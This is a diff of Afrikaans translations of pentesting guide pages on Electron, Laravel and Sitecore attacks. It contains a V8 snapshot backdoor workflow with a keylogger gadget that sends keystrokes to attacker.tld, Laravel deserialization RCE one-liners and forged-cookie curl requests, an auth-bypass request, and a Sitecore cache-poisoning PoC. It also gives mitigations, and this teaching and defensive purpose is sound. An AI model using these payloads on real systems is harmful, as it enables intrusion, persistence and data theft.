+Die **primêre API** om toegang te kry tot stelselvoorkeure en **stelselgebeurtenisse uit te stuur** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
 
 **Voorbeeldgebruik:**
 ```javascript
@@ -368,30 +368,30 @@ console.log('Recent Places:', recentPlaces);
 ### **subscribeNotification / subscribeWorkspaceNotification**
 
 * **Luister** na **inheemse macOS-kennisgewings** met NSDistributedNotificationCenter.
-* Voor **macOS Catalina** kon jy **alle** verspreide kennisgewings afluister deur **nil** aan CFNotificationCenterAddObserver te gee.
+* Voor **macOS Catalina** kon jy **alle** verspreide kennisgewings aftap deur **nil** aan CFNotificationCenterAddObserver te gee.
-* Na **Catalina / Big Sur** kan sandboxed apps steeds **subscribe** op **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) deur kennisgewings **by name** te registreer.
+* Na **Catalina / Big Sur** kan sandboxed apps steeds **inskryf** op **baie gebeure** (bv. **skerm sluit/opsluit**, **volume mounts**, **network activity**, ens.) deur kennisgewings **per naam** te registreer.
 
 ### **getUserDefault / setUserDefault**
 
-* **Koppel** met **NSUserDefaults**, wat toepassings- of globale voorkeure op macOS stoor.
+* **Koppel aan** **NSUserDefaults**, wat **application** of **global** voorkeure op macOS stoor.
 
-* **getUserDefault** kan **sensitiewe inligting** **verkry**, soos **onlangse lêerliggings** of **die gebruiker se geografiese ligging**.
+* **getUserDefault** kan sensitiewe inligting **ophaal**, soos **onlangse lêerliggings** of die **gebruiker se geografiese ligging**.
 
-* **setUserDefault** kan hierdie voorkeure **wysig**, wat moontlik ’n app se **konfigurasie** beïnvloed.
+* **setUserDefault** kan hierdie voorkeure **wysig**, wat moontlik 'n app se **konfigurasie** beïnvloed.
 
-* In **ouer Electron versions** (before v8.3.0) was slegs die **standard suite** van NSUserDefaults **accessible**.
+* In **oudere Electron weergawes** (voor v8.3.0) was slegs die **standaard-suite** van NSUserDefaults **toeganklik**.
 
 ## Shell.showItemInFolder
 
-Hierdie funksie wys die gegewe lêer in ’n file manager, wat die lêer **outomaties kan uitvoer**.
+Hierdie funksie wys die gegewe lêer in 'n lêerbestuurder, wat **outomaties die lêer kan uitvoer**.
 
 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
 
 ## Content Security Policy
 
-Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
+Electron apps behoort 'n **Content Security Policy (CSP)** te hê om **XSS attacks** te **voorkom**. Die **CSP** is 'n **sekuriteitsstandaard** wat help om die **uitvoering** van **onbetroubare kode** in die blaaier te **voorkom**.
 
-It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
+Dit word gewoonlik in die **`main.js`** lêer of in die **`index.html`** sjabloon gekonfigureer met die CSP binne 'n **meta tag**.
 
 For more information check:
 
@@ -401,18 +401,18 @@ pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}
 
 
-## **Gereedskap**
+## **Tools**
 
-- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
+- [**Electronegativity**](https://github.com/doyensec/electronegativity) is 'n hulpmiddel om miskonfigurasies en sekuriteits-anti-patrone in Electron-gebaseerde toepassings te identifiseer.
-- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
+- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is 'n open source VS Code plugin vir Electron-toepassings wat Electronegativity gebruik.
 - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om kwesbare derdeparty-biblioteke te kontroleer
 - [**Electro.ng**](https://electro.ng/): Jy moet dit koop
 
 ## Labs
 
-In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy ’n lab vind om kwesbare Electron-apps te exploit.
+In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy 'n lab vind om kwesbare Electron-apps te exploit.
 
-Sommige commando's wat jou met die lab sal help:
+Sommige opdragte wat jou in die lab sal help:
 ```bash
 # Download apps from these URls
 # Vuln to nodeIntegration
@@ -435,14 +435,14 @@ cd vulnerable1
 npm install
 npm start
 ```
-## Plaaslike backdooring deur V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
+## Lokale backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
 
-Electron- en Chromium-gebaseerde apps deserialiseer 'n voorafgeboude V8 heap snapshot tydens opstart (v8_context_snapshot.bin, en opsioneel browser_v8_context_snapshot.bin) om elke V8 isolate te inisialisseer (main, preload, renderer). Histories het Electron se integrity fuses hierdie snapshots nie as uitvoerbare inhoud beskou nie, sodat hulle beide fuse-gebaseerde integriteitsdwinging en OS code-signing kontroles omseil het. Gevolglik het die vervanging van die snapshot in 'n gebruikers-skryfbare installasie gesluierde, volhoubare koduitvoering binne die app moontlik gemaak sonder om die getekende binaries of ASAR te wysig.
+Electron- en Chromium-gebaseerde apps deserialiseer 'n voorafgeboude V8 heap snapshot tydens opstart (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) om elke V8 isolate (main, preload, renderer) te inisialiseer. Histories het Electron’s integrity fuses hierdie snapshots nie as uitvoerbare inhoud beskou nie, sodat hulle beide fuse-based integrity enforcement en OS code-signing checks omseil het. Gevolglik het die vervanging van die snapshot in 'n user-writable installasie onopvallende, persistente code execution binne die app moontlik gemaak sonder om die gesigneerde binaries of ASAR te wysig.
 
 Key points
-- Integrity gap: EnableEmbeddedAsarIntegrityValidation en OnlyLoadAppFromAsar valideer app JavaScript binne die ASAR, maar hulle het nie V8 heap snapshots gedek nie (CVE-2025-55305). Chromium voer soortgelyk nie integriteitskontroles op snapshots uit nie.
+- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
-- Attack preconditions: Plaaslike skryftoegang tot die app se installasiegids. Dit is algemeen op stelsels waar Electron apps of Chromium browsers geïnstalleer is onder gebruikers-skryfbare paaie (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
+- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
-- Effect: Betroubare uitvoering van die aanvaller se JavaScript in enige isolate deur 'n gereeld gebruikte builtin (a “gadget”) te oorskryf, wat volhoubaarheid en omseiling van code-signing verifikasie moontlik maak.
+- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
 - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
 
 Generating a malicious snapshot without building Chromium
@@ -463,10 +463,10 @@ throw new Error("testing isArray gadget");
 };
 ```
 Isolate-aware payload routing (voer verskillende kode uit in main vs. renderer)
-- Main-proses deteksie: Node-slegs globals soos process.pid, process.binding(), of process.dlopen is teenwoordig in die main-proses-isolate.
+- Main process detection: Node-only globals soos process.pid, process.binding(), of process.dlopen is beskikbaar in die main process isolate.
-- Browser/renderer deteksie: Blaaier-slegs globals soos alert is beskikbaar wanneer dit in 'n dokumentkonteks uitgevoer word.
+- Browser/renderer detection: Browser-only globals soos alert is beskikbaar wanneer dit in 'n dokumentkonteks uitgevoer word.
 
-Voorbeeld-gadget wat eenmalig die main-proses se Node-vermoëns ondersoek.
+Voorbeeld-gadget wat eenmalig main-process Node-capabilities ondersoek
 ```js
 const orig = Array.isArray;
 
@@ -495,7 +495,7 @@ process.exit(0);
 return orig(...arguments);
 };
 ```
-Renderer/browser-konteks data-diefstal PoC (bv. Slack)
+Renderer/browser-context datadiefstal PoC (bv. Slack)
 ```js
 const orig = Array.isArray;
 Array.isArray = function() {
@@ -519,26 +519,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
 return orig(...arguments);
 };
 ```
-Operateur-werkvloei
+Operateur-werksvloei
-1) Skryf payload.js wat 'n algemene builtin oor-skryf (bv. Array.isArray) en opsioneel per isolate vertakkings gebruik.
+1) Skryf payload.js wat 'n algemene ingeboude funksie oorskryf (bv. Array.isArray) en opsioneel per isolate vertakkings implementeer.
 2) Bou die snapshot sonder Chromium-bronne:
 - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
-3) Oorskryf die teiken-toepassing se snapshot-lêer(s):
+3) Oorskryf die snapshot-lêer(s) van die teiken-toepassing:
 - v8_context_snapshot.bin (altyd gebruik)
-- browser_v8_context_snapshot.bin (as die LoadBrowserProcessSpecificV8Snapshot fuse gebruik word)
+- browser_v8_context_snapshot.bin (indien die LoadBrowserProcessSpecificV8Snapshot fuse gebruik word)
-4) Begin die toepassing; die gadget word uitgevoer wanneer die gekose builtin gebruik word.
+4) Begin die toepassing; die gadget word uitgevoer elke keer as die gekose ingeboude funksie gebruik word.
 
 Aantekeninge en oorwegings
-- Integriteit/handtekening-omseiling: Snapshot-lêers word nie deur code-signing kontroles as native uitvoerbare lêers behandel nie en (histories) was hulle nie deur Electron’s fuses of Chromium integriteitskontroles gedek nie.
+- Integriteit/handtekening-omseiling: Snapshot-lêers word nie deur code-signing kontroles as native uitvoerbare lêers beskou nie en (histories) is hulle nie deur Electron se fuses of Chromium-integriteitskontroles gedek nie.
-- Persistensie: Om die snapshot in 'n gebruikerskryfbare installasie te vervang oorleef gewoonlik herlaai van die app en lyk soos 'n ondertekende, legitieme app.
+- Persistensie: Deur die snapshot in 'n gebruiker-skryfbare installasie te vervang oorleef dit tipies app-herstartings en lyk dit soos 'n ondertekende, legitieme app.
-- Chromium-blaaiers: Dieselfde manipulasie-konsep geld vir Chrome/afgeleides wat in gebruikerskryfbare ligginge geïnstalleer is. Chrome het ander integriteitsmitigasies maar sluit eksplisiet fisies plaaslike aanvalle uit van sy bedreigingsmodel.
+- Chromium-blaaiers: Dieselfde manipulasie-konsep is van toepassing op Chrome/derivatives wat in gebruiker-skryfbare lokasies geïnstalleer is. Chrome het ander integriteitsmitigerings maar sluit fisies plaaslike aanvalle eksplisiet uit sy bedreigingsmodel.
 
 Opsporing en mitigasies
-- Behandel snapshots as uitvoerbare inhoud en sluit dit in by integriteitshandhawing (CVE-2025-55305 fix).
+- Behandel snapshots as uitvoerbare inhoud en sluit hulle in by integriteitsafdwinging (CVE-2025-55305 fix).
-- Gebruik voorkeurlik slegs admin-skryfbare installasieligginge; stel 'n basislyn op en monitor hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
+- Gee voorkeur aan installasie-lokasies wat slegs admin-skryfbaar is; stel 'n basislyn vas en monitor hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
-- Detecteer vroeë-runtime builtin-oor-skrywing (clobbering) en onverwagte snapshot-wijzigings; waarsku wanneer gedeserialiseerde snapshots nie by verwagte waardes pas nie.
+- Detecteer vroeë-runtime ingeboude oorskrywing en onverwagte snapshot-wijzigings; waarsku wanneer gedeserialiseerde snapshots nie by die verwagte waardes pas nie.
 
-## **References**
+## **Verwysings**
 
 - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
 - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

src/network-services-pentesting/pentesting-web/laravel.md

@@ -4,14 +4,14 @@
 
 ### Laravel SQLInjection
 
-Lees hieroor: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
+Lees hieroor meer by: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
 
 ---
 
 ## APP_KEY & Enkripsie interne werking (Laravel \u003e=5.6)
 
 Laravel gebruik AES-256-CBC (of GCM) met HMAC-integriteit onder die kap (`Illuminate\\Encryption\\Encrypter`).
-Die rou ciphertext wat uiteindelik **na die kliënt gestuur word** is **Base64 van 'n JSON-objek** soos:
+Die rou ciphertext wat uiteindelik **na die kliënt gestuur word** is **Base64 van 'n JSON-object** soos:
 ```json
 {
 "iv"   : "Base64(random 16-byte IV)",
@@ -20,9 +20,9 @@ Die rou ciphertext wat uiteindelik **na die kliënt gestuur word** is **Base64 v
 "tag"  : ""                 // only used for AEAD ciphers (GCM)
 }
 ```
-`encrypt($value, $serialize=true)` sal die plaintext standaard `serialize()` , terwyl
+`encrypt($value, $serialize=true)` sal standaard die plaintext `serialize()` uitvoer, terwyl
-`decrypt($payload, $unserialize=true)` **sal outomaties `unserialize()`** die gedekripteerde waarde.
+`decrypt($payload, $unserialize=true)` **die gedekripteerde waarde outomaties `unserialize()`**.
-Daarom kan **enige aanvaller wat die 32-byte geheime `APP_KEY` ken, 'n versleutelde PHP serialized object konstrueer en RCE verkry via magic methods (`__wakeup`, `__destruct`, …)**.
+Daarom kan **any attacker wat die 32-byte geheim `APP_KEY` ken 'n versleutelde PHP serialized object vervaardig en RCE verkry via magic methods (`__wakeup`, `__destruct`, …)**.
 
 Minimale PoC (framework ≥9.x):
 ```php
@@ -31,12 +31,12 @@ use Illuminate\Support\Facades\Crypt;
 $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
 $evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
 ```
-Inject die geproduseerde string in enige kwesbare `decrypt()` sink (route param, cookie, session, …).
+Inspuit die geproduseerde string in enige kwesbare `decrypt()` sink (route param, cookie, session, …).
 
 ---
 
 ## laravel-crypto-killer 🧨
-[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by:
+[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce**-modus by:
 ```bash
 # Encrypt a phpggc chain with a known APP_KEY
 laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@@ -47,11 +47,11 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
 # Try a word-list of keys against a token (offline)
 laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
 ```
-Die skrip ondersteun beide CBC- en GCM-payloads deursigtig en genereer die HMAC/tag-veld weer.
+Die skrip ondersteun deursigtig beide CBC- en GCM-payloads en genereer die HMAC/tag-veld weer.
 
 ---
 
-## Werklike kwesbare patrone
+## Werklike wêreld kwesbare patrone
 
 | Project | Vulnerable sink | Gadget chain |
 |---------|-----------------|--------------|
@@ -59,11 +59,11 @@ Die skrip ondersteun beide CBC- en GCM-payloads deursigtig en genereer die HMAC/
 | Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
 | Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
 
-Die eksploitasiewerksvloei is altyd:
+Die uitbuitings-werksvloei is altyd:
-1. Kry of brute-force die 32-byte `APP_KEY`.
+1. Verkry of brute-force die 32-byte `APP_KEY`.
-2. Bou 'n gadget chain met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`).
+2. Skep 'n gadget chain met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`).
 3. Enkripteer die geserialiseerde gadget met **laravel_crypto_killer.py** en die herwonne `APP_KEY`.
-4. Lewer die ciphertext aan die kwesbare `decrypt()` sink (route parameter, cookie, session …) om **RCE** te aktiveer.
+4. Aflewer die ciphertext aan die kwesbare `decrypt()` sink (route parameter, cookie, session …) om **RCE** te aktiveer.
 
 Hieronder is bondige eenreëls wat die volle aanvalspad vir elke bogenoemde werklike CVE demonstreer:
 ```bash
@@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
 ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
 curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
 ```
-## Mass APP_KEY discovery via cookie brute-force
+## Massale APP_KEY-ontdekking via cookie brute-force
 
-Omdat elke vars Laravel-antwoord minstens 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** wat offline aangeval kan word.
+Omdat elke vars Laravel-respons minstens 1 encrypted cookie (`XSRF-TOKEN` en gewoonlik `laravel_session`) instel, **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** wat offline aangeval kan word.
 
 Belangrike bevindinge van die navorsing gepubliseer deur Synacktiv (2024-2025):
-* Datastel Julie 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
+* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
-* Datastel Mei 2025 » 625 k tokens, **3.56 % keys cracked**
+* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
-* >1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
+* >1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk serialized data bevat.
-* Groot key-hergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
+* Enorme sleutelhergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates versend word (UltimatePOS, Invoice Ninja, XPanel, …).
 
-Die private Go-instrument **nounours** stoot AES-CBC/GCM bruteforce throughput na ~1.5 billion tries/s, wat volledige datastel-kraking tot <2 minute verminder.
+Die private Go-instrument **nounours** verhoog AES-CBC/GCM bruteforce-throughput tot ~1.5 miljard tries/s, wat die kraak van die volledige dataset tot <2 minute verminder.
 
 
 ## CVE-2024-52301 – HTTP argv/env override → auth bypass
 
-Wanneer PHP’s `register_argc_argv=On` (tipies op baie distros), gee PHP 'n `argv` array bloot vir HTTP-versoeke wat van die query string afgeleide is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en `--env=<value>` by runtime geag. Dit laat toe om die framework-omgewing vir die huidige HTTP-versoek te omskakel net deur dit aan enige URL toe te voeg:
+Wanneer PHP se `register_argc_argv=On` (tipies op baie distros), openbaar PHP 'n `argv`-array vir HTTP-aanvrae wat van die query string afgelei is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en `--env=<value>` by runtime gerespekteer. Dit maak dit moontlik om die framework-omgewing vir die huidige HTTP-aanvraag te verander net deur dit by enige URL te heg:
 
 - Vinnige toets:
 - Besoek `https://target/?--env=local` of enige string en kyk vir omgewing-afhanklike veranderinge (debug banners, footers, verbose errors). As die string gereflekteer word, werk die override.
 
-- Impakvoorbeeld (business logic wat op 'n spesiale env vertrou):
+- Impact-voorbeeld (business logic wat 'n spesiale env vertrou):
-- As die app takke bevat soos `if (app()->environment('preprod')) { /* bypass auth */ }`, kan jy autentiseer sonder geldige creds deur die login POST te stuur na:
+- As die app takke bevat soos `if (app()->environment('preprod')) { /* bypass auth */ }`, kan jy outentiseer sonder geldige creds deur die login POST te stuur na:
 - `POST /login?--env=preprod`
 
 - Aantekeninge:
-- Werk per-versoek, geen persistentie.
+- Werk per aanvraag, geen persistentie.
-- Vereis `register_argc_argv=On` en 'n kwesbare Laravel-weergawes wat argv vir HTTP lees.
+- Vereis `register_argc_argv=On` en 'n kwesbare Laravel-weergawe wat argv vir HTTP lees.
-- Nuttige primitive om meer verbose errors in “debug” envs te ontbloot of om environment-gated code paths te trigger.
+- Nuttige primitief om meer verbose errors in “debug” envs te openbaar of om omgewing-geslote codepaaie te trigger.
 
 - Mitigasies:
-- Disable `register_argc_argv` vir PHP-FPM/Apache.
+- Deaktiveer `register_argc_argv` vir PHP-FPM/Apache.
-- Upgrade Laravel om argv op HTTP-versoeke te ignoreer en verwyder enige trust-aanname wat aan `app()->environment()` in production routes gekoppel is.
+- Werk Laravel op sodat argv in HTTP-aanvragen geïgnoreer word en verwyder enige vertrouensveronderstellings wat aan `app()->environment()` in produksieroutes gekoppel is.
 
 Minimale uitbuitingsvloei (Burp):
 ```http
@@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf
 ```
 ---
 
-## Laravel Truuks
+## Laravel Wenke
 
 ### Foutopsporingsmodus
 
-As Laravel in **foutopsporingsmodus** is, sal jy toegang hê tot die **kode** en **gevoelige data**.\
+As Laravel in **foutopsporingsmodus** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\
 Byvoorbeeld `http://127.0.0.1:8000/profiles`:
 
 ![](<../../images/image (1046).png>)
 
-Dit is gewoonlik nodig vir exploiting ander Laravel RCE CVEs.
+Dit is gewoonlik nodig vir die exploiting van ander Laravel RCE CVEs.
 
-### Fingerprinting & exposed dev endpoints
+### Fingerprinting & blootgestelde dev-endpoints
 
-Vinnige kontroles om 'n Laravel-stapel en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer:
+Vinnige kontroles om 'n Laravel-stack en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer:
 
-- `/_ignition/health-check` → Ignition teenwoordig (debug-instrument wat deur CVE-2021-3129 gebruik is). As dit sonder verifikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer.
+- `/_ignition/health-check` → Ignition teenwoordig (debug tool used by CVE-2021-3129). As dit sonder authentikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer wees.
-- `/_debugbar` → Laravel Debugbar assets; dui dikwels op foutopsporingsmodus.
+- `/_debugbar` → Laravel Debugbar assets; dui dikwels op debug-modus.
 - `/telescope` → Laravel Telescope (dev monitor). As dit publiek is, verwag omvattende inligtingsonthulling en moontlike aksies.
-- `/horizon` → Queue dashboard; weergawe-inligting en soms CSRF-beskermde aksies.
+- `/horizon` → Queue dashboard; weergawe-onthulling en soms CSRF-beskermde aksies.
-- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, en Blade-foutbladsye help ook met fingerprinting.
+- X-Powered-By, koekies `XSRF-TOKEN` en `laravel_session`, en Blade foutbladsye help ook met fingerprinting.
 ```bash
 # Nuclei quick probe
 nuclei -nt -u https://target -tags laravel -rl 30
@@ -153,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
 ```
 ### .env
 
-Laravel stoor die APP wat dit gebruik om die cookies en ander credentials te enkripteer in 'n lêer genaamd `.env` wat bereik kan word deur path traversal onder: `/../.env`
+Laravel bewaar die APP wat dit gebruik om die cookies en ander inlogbewyse te enkripteer in 'n lêer genaamd `.env` wat benader kan word deur 'n path traversal onder: `/../.env`
 
-Laravel sal hierdie inligting ook op die debug page wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
+Laravel sal hierdie inligting ook op die debug-bladsy wys (wat verskyn wanneer Laravel 'n fout vind en debug geaktiveer is).
 
-Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies decrypt en re-encrypt:
+Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies dekripteer en weer enkripteer:
 
 ### Decrypt Cookie
 ```python
@@ -220,16 +220,16 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
 ```
 ### Laravel Deserialization RCE
 
-Kwetsbare weergawes: 5.5.40 en 5.6.x tot en met 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
+Kwetsbare weergawes: 5.5.40 en 5.6.x tot 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
 
-Hier vind jy inligting oor die deserialization-kwetsbaarheid: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
+Hier kan jy inligting oor die deserialization vulnerability vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
 
-Jy kan dit toets en uitbuit met behulp van [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
+Jy kan dit toets en exploit gebruik met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
-Of jy kan dit ook met metasploit uitbuit: `use unix/http/laravel_token_unserialize_exec`
+Of jy kan dit ook met metasploit exploit: `use unix/http/laravel_token_unserialize_exec`
 
 ### CVE-2021-3129
 
-Nog 'n deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
+Nog deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
 
 
 

src/network-services-pentesting/pentesting-web/sitecore/README.md

@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Hierdie bladsy som 'n praktiese aanvalsketting op Sitecore XP 10.4.1 op wat oorskuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n geauthentiseerde UI‑vloei, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore-weergawes/komponente en verskaf konkrete primitive om te toets, op te spoor en te versterk.
+Hierdie bladsy som 'n praktiese aanvalsketting teen Sitecore XP 10.4.1 op wat skuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n authenticated UI flow, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore weergawes/komponente en bied konkrete primitives om te test, detect en harden.
 
-- Aangetaste produk (getoets): Sitecore XP 10.4.1 rev. 011628
+- Aangetaste produk: Sitecore XP 10.4.1 rev. 011628
 - Reggestel in: KB1003667, KB1003734 (Junie/Juli 2025)
 
 Sien ook:
@@ -27,7 +27,7 @@ Toeganklik via:
 ```
 GET /-/xaml/Sitecore.Shell.Xaml.WebControl
 ```
-Die kontroleboom sluit AjaxScriptManager in, wat, by gebeurtenisversoeke, velde wat deur die aanvaller beheer word lees en reflektief metodes op geteikende kontroles aanroep:
+Die control tree sluit AjaxScriptManager in wat, by event-versoeke, aanvaller‑beheerde velde lees en reflektief metodes op geteikende controls aanroep:
 ```csharp
 // AjaxScriptManager.OnPreRender
 string clientId = page.Request.Form["__SOURCE"];      // target control
@@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters);
 // Alternate branch for XML-based controls
 if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
 ```
-Sleutelwaarneming: die XAML-bladsy bevat 'n XmlControl-instantie (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow-list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.
+Belangrike waarneming: die XAML-bladsy sluit 'n XmlControl-instantie in (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow‑list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.
 
 Magiese metode vir poisoning:
 ```csharp
@@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
 if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
 }
 ```
-Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl-metodes by naam kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.
+Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl methods by name kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.
 
 ### PoC request (CVE-2025-53693)
 ```
@@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded
 __PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
 Aantekeninge:
-- __SOURCE is die clientID van xmlcontrol:GlobalHeader binne Sitecore.Shell.Xaml.WebControl (gewoonlik stabiel soos ctl00_ctl00_ctl05_ctl03 aangesien dit afgelei is van statiese XAML).
+- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
-- __PARAMETERS formaat is Method("arg1","arg2").
+- __PARAMETERS format is Method("arg1","arg2").
 
-## Wat om te vergiftig: Cache-sleutel konstruksie
+## Wat om te vergiftig: Opbou van cache-sleutel
 
-Tipiese HtmlCache sleutel-konstruksie wat deur Sitecore controls gebruik word:
+Tipiese HtmlCache-sleutelopbou wat deur Sitecore controls gebruik word:
 ```csharp
 public virtual string GetCacheKey(){
 SiteContext site = Sitecore.Context.Site;
@@ -90,13 +90,13 @@ return k;
 return string.Empty;
 }
 ```
-Voorbeeld targeted poisoning vir 'n bekende sublayout:
+Voorbeeld van geteikende poisoning vir 'n bekende sublayout:
 ```
